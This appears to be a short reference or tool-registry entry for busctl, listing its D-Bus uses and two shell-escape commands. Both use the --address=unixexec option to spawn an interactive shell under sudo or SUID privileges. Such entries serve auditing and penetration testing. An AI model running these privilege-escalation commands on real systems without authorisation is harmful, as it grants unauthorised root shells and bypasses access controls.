Introspect and monitor the D-Bus bus, can spawn shells via address parameter or inherit less capabilities.
busctl busctl Sandbox: execFile · Timeout: 30s
security.privilege-escalation.shell system.file.read Inputs
security.execution.context Sudo, SUID, or unprivileged execution context
Outputs
process.output Shell or file content output
process_spawn Produces
process.outputConsumes
security.execution.context| Resource | Value |
|---|---|
| CPU | low |
| Memory | 8 MB |
| Network | none |
| Disk I/O | low |
Spawn a shell via busctl address option
busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'
Spawn a shell via busctl set-property
busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'